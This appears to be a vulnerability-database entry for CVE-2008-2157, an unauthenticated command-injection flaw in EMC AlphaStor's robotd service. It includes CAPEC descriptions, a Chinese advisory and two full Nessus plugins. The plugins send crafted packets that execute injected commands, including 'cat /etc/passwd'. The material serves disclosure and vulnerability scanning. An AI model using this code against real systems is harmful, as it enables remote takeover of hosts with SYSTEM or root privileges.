Vulnerabilities > CVE-2008-2157 - Improper Input Validation vulnerability in EMC Corporation Alphastor 3.1Sp1

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
emc-corporation
CWE-20
critical
nessus
metasploit

Summary

robotd in the Library Manager in EMC AlphaStor 3.1 SP1 for Windows allows remote attackers to execute arbitrary commands via an unspecified string field in a packet to TCP port 3500.

Vulnerable Configurations

Part Description Count
Application
Emc_Corporation
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Metasploit

Nessus

  • NASL familyGain a shell remotely
    NASL idALPHASTOR_LIBMANAGER_EXEC.NASL
    descriptionThe installed instance of AlphaStor Library Manager is vulnerable to a command execution flaw when it receives a packet with a 0x44 code. Packet string argument is used unsanitized as a call to the
    last seen2020-06-01
    modified2020-06-02
    plugin id33285
    published2008-07-01
    reporterThis script is Copyright (C) 2008-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/33285
    titleEMC AlphaStor Library Manager Remote Code Execution
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    
    
    include("compat.inc");
    
    if (description) {
      script_id(33285);
      script_version("1.18");
      script_cve_id("CVE-2008-2157");
      script_bugtraq_id(29398);
    
      script_name(english:"EMC AlphaStor Library Manager Remote Code Execution");
      script_summary(english:"Checks AlpahStor Library Manager robotd command execution");
    
     script_set_attribute(attribute:"synopsis", value:
    "It is possible to execute code on the remote tape backup manager." );
     script_set_attribute(attribute:"description", value:
    "The installed instance of AlphaStor Library Manager is vulnerable to a 
    command execution flaw when it receives a packet with a 0x44 code.
    Packet string argument is used unsanitized as a call to the 'system'
    function.
    
    An unauthenticated, remote attacker may be able to exploit this flaw to
    execute code on the remote host with SYSTEM/root privileges." );
     script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?666077ae" );
     script_set_attribute(attribute:"solution", value:
    "Fix is available in knowledgebase article emc186391." );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
    script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
     script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');
     script_cwe_id(20);
     script_set_attribute(attribute:"plugin_publication_date", value: "2008/07/01");
     script_cvs_date("Date: 2018/06/27 18:42:25");
    script_set_attribute(attribute:"plugin_type", value:"remote");
    script_end_attributes();
    
    
      script_category(ACT_ATTACK);
      script_family(english:"Gain a shell remotely");
      script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.");
      script_dependencies("alphastor_libmanager_detect.nasl");
      script_require_ports("Services/alphastor-libmanager", 3500);
    
      exit(0);
    }
    
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("byte_func.inc");
    
    
    function mk_command(cmd, s)
    {
     local_var len;
    
     len = strlen(s);
    
     return mkbyte(cmd + 0x31) + s + crap(data:mkbyte(0), length:0x200-len) + mkbyte(0);
    }
    
    
    function test(port, sleeps)
    {
     local_var d, i, req, res, sleep, soc, tictac1, tictac2;
    
     foreach sleep (sleeps)
     {
      soc = open_sock_tcp(port);
      if (!soc) return 0;
    
      req = mk_command(cmd:0x44, s:string("sleep ", sleep));
      send(socket:soc, data:req);
    
      tictac1 = unixtime();
    
      res = recv(socket:soc, length:0x202, min:0x202, timeout:15);
      close(soc);
      if (isnull(res) || strlen(res) != 0x202) 
        return 0;
    
      tictac2 = unixtime();
      d = tictac2 - tictac1;
    
      for (i=0; i<0x202; i++)
        if (ord(res[i]) != 0) exit(0);
    
      if ( (d < sleep) || (d >= (sleep + 5)) )
        return 0;
     }
    
     return 1;
    }
    
    port = get_kb_item("Services/alphastor-libmanager");
    if (!port) port = 3500;
    if (!get_port_state(port)) exit(0);
    
    
    if (test(port: port, sleeps: make_list(1, 3, 7)))
      security_hole(port: port);
    
  • NASL familyGain a shell remotely
    NASL idALPHASTOR_DEVICEMANAGER_EXEC.NASL
    descriptionThe AlphaStor Device Manager application running on the remote host is affected by a remote command execution vulnerability in robotd due to improper sanitization of packet string arguments before using them in a call to the
    last seen2020-06-01
    modified2020-06-02
    plugin id33284
    published2008-07-01
    reporterThis script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/33284
    titleEMC AlphaStor Device Manager robotd RCE
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(33284);
      script_version("1.21");
      script_cvs_date("Date: 2018/11/15 20:50:22");
    
      script_cve_id("CVE-2008-2157");
      script_bugtraq_id(29398);
    
      script_name(english:"EMC AlphaStor Device Manager robotd RCE");
      script_summary(english:"Checks AlphaStor Device Manager robotd command execution.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote tape backup manager is affected by a remote command
    execution vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The AlphaStor Device Manager application running on the remote host is
    affected by a remote command execution vulnerability in robotd due to
    improper sanitization of packet string arguments before using them in
    a call to the 'system' function. An unauthenticated, remote attacker
    can exploit this, via a specially crafted packet with a 0x34 code, to
    execute arbitrary commands with SYSTEM/root privileges.");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2008/May/305");
      script_set_attribute(attribute:"see_also", value:"https://securitytracker.com/id?1020116");
      script_set_attribute(attribute:"solution", value:
    "Apply the latest update referenced in EMC knowledgebase article
    emc186391.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
      script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');
      script_cwe_id(20);
    
      script_set_attribute(attribute:"vuln_publication_date", value: "2008/05/27");
      script_set_attribute(attribute:"patch_publication_date", value: "2008/05/27");
      script_set_attribute(attribute:"plugin_publication_date", value: "2008/07/01");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"Gain a shell remotely");
    
      script_copyright(english:"This script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("alphastor_devicemanager_detect.nasl");
      script_require_ports("Services/alphastor-devicemanager", 3000);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("byte_func.inc");
    
    function mk_command(cmd, s)
    {
     local_var len;
    
     len = strlen(s);
    
     return mkbyte(cmd + 0x41) + s + crap(data:mkbyte(0), length:0x200-len) + mkbyte(0);
    }
    
    function execute_command(port, cmd)
    {
     local_var soc, req, res, code, len;
    
     soc = open_sock_tcp(port); 
     if (!soc) exit(0);
    
     req = mk_command(cmd:0x34, s:cmd);
     send(socket:soc, data:req);
    
     res = recv(socket:soc, length:8, min:8);
     if (isnull(res) || strlen(res) < 8) exit(0);
    
     code = getdword(blob:res, pos:0);
     len = getdword(blob:res, pos:4);
    
     if (code != 0) return NULL;
    
     res = recv(socket:soc, length:len, min:len);
     if (isnull(res) || strlen(res) < len) exit(0);
    
     return substr(res, 0, len-2);
    }
    
    port = get_service(svc:"alphastor-devicemanager", default: 3000, exit_on_fail: TRUE);
    
    cmd = "cat /etc/passwd";
    pat = "root:x:0:0";
    
    res = execute_command(port:port, cmd:cmd);
    if (!res)
    {
     cmd = "ipconfig";
     pat = "Windows IP Configuration";
     res = execute_command(port:port, cmd:cmd);
    }
    
    if (pat >!< res) audit(AUDIT_LISTEN_NOT_VULN, "service", port);
    report = string (
             "\nThe output of the command '", cmd, "' is:\n\n",
             res );
    
    security_report_v4(port:port, severity:SECURITY_HOLE, extra:report);
    

Seebug

bulletinFamilyexploit
descriptionCVE(CAN) ID: CVE-2008-2157 AlphaStor是用于管理磁盘的应用程序组件。 AlphaStor中库管理器(Library Manager)用于管理在分布的位置上替换磁盘驱动。该管理器由单个进程robotd组成,在TCP 3500端口上监听入站连接。 如果对库管理器发送了特殊请求的话,robotd会使用报文中的字符串在系统上通过CreateProcess()函数执行命令,这允许攻击者在主机上以SYSTEM权限执行任意程序。 EMC AlphaStor 3.1 SP1 for Windows EMC --- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: <a href=http://www.emc.com/products/detail/software/alphastor.htm target=_blank>http://www.emc.com/products/detail/software/alphastor.htm</a>
idSSV:3341
last seen2017-11-19
modified2008-05-29
published2008-05-29
reporterRoot
titleEMC AlphaStor库管理器任意命令执行漏洞